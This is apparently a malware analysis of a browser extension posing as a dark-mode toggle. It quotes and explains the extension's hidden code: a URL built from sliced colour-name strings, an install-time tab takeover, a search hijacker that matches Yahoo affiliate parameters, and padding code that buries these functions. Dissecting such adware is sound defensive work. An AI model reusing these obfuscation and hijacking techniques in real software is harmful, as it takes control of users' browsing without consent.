plain dark

The extension assembles a URL by concatenating string slices extracted from innocuous-looking color-name strings using a custom `color()` function. Variable names (`colordark`, `colorlight`, `colorrgb`, `colorhexa`) camouflage the operation as color-related logic. The decoded result stored in `ty` is a full URL that is later used to create new tabs and redirect the browser, making the destination completely opaque to static analysis.

var colordark = color("Bright green", "4", "6") + color("light", "4", "5") + color("pink", "0", "1");var colorlight = color("sea blue", "0", "1") + color("orange:", "6", "7") + color("yellow/", "6", "7");var colorrgb = color("yellow/", "6", "7") + color("Aqua blue", "1", "2") + color("css3", "0", "4");var colorhexa = color("cho.colate", "3", "6") + color("maroon", "0", "1") + color("/css", "0", "4");function colr() {  return colordark + colorlight + colorrgb + colorhexa;}var ty = colr();

On extension install, this listener enumerates all open browser windows and targets popup-type windows (detected via the obfuscated string slice `color("Dark purple", 5, 7)` which evaluates to "pu"). It closes the found window after 1 second and then opens a new tab navigating to the obfuscated URL `ty` after 1.5 seconds. This is classic adware/hijacker install-time behavior: replacing existing browser context with an attacker-controlled URL.

chrome.runtime.onInstalled.addListener(function(e) {  "install" === e.reason && chrome.windows.getAll({    populate: !0  }, function(e) {    var t;    for (i = 0; i <= e.length - 1; i++) e[i].type.includes(color("Dark purple", 5, 7)) && (t = i, colores(),      setTimeout(function() {        chrome.windows.remove(e[t].id, function() {})      }, 1e3), setTimeout(function() {        colort(ty)      }, 1500))  })});

This function is a search-hijacking engine that inspects the URL of every loaded tab. It recognizes multiple known Yahoo Search affiliate parameters (`q=yhs-002`, `q=yhs-active8`, `hspart=dcola`, `hspart=Lkry`, `pid=default2017`, `&ptag`, `&conlogo`, `&FORM`) and either redirects the tab to an attacker-controlled URL (`colo(up + errors)`) or silently closes it (`cls(t.id)`). The `tillshe` pattern closes tabs matching a specific hijack destination. This is the core search-hijacking payload that intercepts organic search sessions.

function colorCo(e, p, t) {  colorid = (e => t.url.includes(e)), colorid("tillshe") && cls(t.id), (colorid("q=yhs-002") || colorid(    "q=yhs-active8")) && colo(up + errors), (colorid("rectre") || colorid("imageadvan") || colorid(    "pid=default2017") || colorid("hspart=dcola") || colorid("antgreen") || colorid("hspart=Lkry") || colorid(    "&ptag") || colorid("&conlogo") || colorid("&FORM")) && (mp = !0, setTimeout(function() {    cls(t.id), mp = !1  }, 200)), lear()}

These two helper functions provide the tab-navigation primitives used by the hijacking infrastructure: `colo()` silently redirects the current tab to any arbitrary URL, and `colort()` opens a new tab to any arbitrary URL. Both accept a URL argument that is always the obfuscated `ty` value or a composed affiliate redirect, giving the attacker full control over where the user is sent.

function colo(e) {  chrome.tabs.update({    url: e  })};function colort(e) {  chrome.tabs.create({    url: e  })}

The `lear()` function queries all tabs in the current window and closes any that contain the domain substring of the obfuscated URL `ty` (extracted via `color(ty, 8, 13)`) to prevent duplicate hijacked tabs. The `cls()` helper silently removes a tab by ID. These functions are called from both the install-time handler and the search-hijacking `colorCo()` function, forming the cleanup stage of the hijacking flow.

function lear() {  chrome.tabs.query({    currentWindow: !0  }, function(n) {    for (var r = 0; r < n.length - 1; r++) n[r].url.indexOf(n[n.length - 1].url) > -1 && n[r].url.indexOf(color(      ty, 8, 13)) > -1 && n[n.length - 1].url.indexOf(color(ty, 8, 13)) > -1 && cls(n[r].id)  })}function cls(c) {  chrome.tabs.remove(c)}

The Background.js service worker is 4,340 lines (217 KB) despite the declared extension purpose requiring at most ~40 lines of code. The legitimate toggle logic is confined to lines 1-38. The remaining 4,300+ lines consist of non-functional color-picker, slider, and UI code that references undefined variables and can never execute correctly. This bulk code is deliberately inserted to obscure the six malicious functions (URL builder, install hijacker, search hijacker, tab redirector, tab closer, dedup cleaner) that are scattered throughout.

var colorup = "off";chrome.action.onClicked.addListener(colorsClicked);function colorsClicked(tab) {  // ... ~40 lines of legitimate dark mode logic ...}// [4300+ lines of irrelevant color-picker slider/UI code]// Functions: darkcolorshades, checkdarkcolors, brightColors, colorlistRGB, shadedark,// shadedarkcolors, checkrgbcolors, lightcolors, darkcolorlist, randomcolors, iscolored,// rgbhslcolors, commoncolors, updatecolors, colorshades, etc.// None of these functions are ever meaningfully called; they reference undefined// variables (colorisdark, filldarkColor, RGB, presentColor, etc.) and exist// solely as padding to bury the malicious functions (colorCo, colo, colort, lear, cls).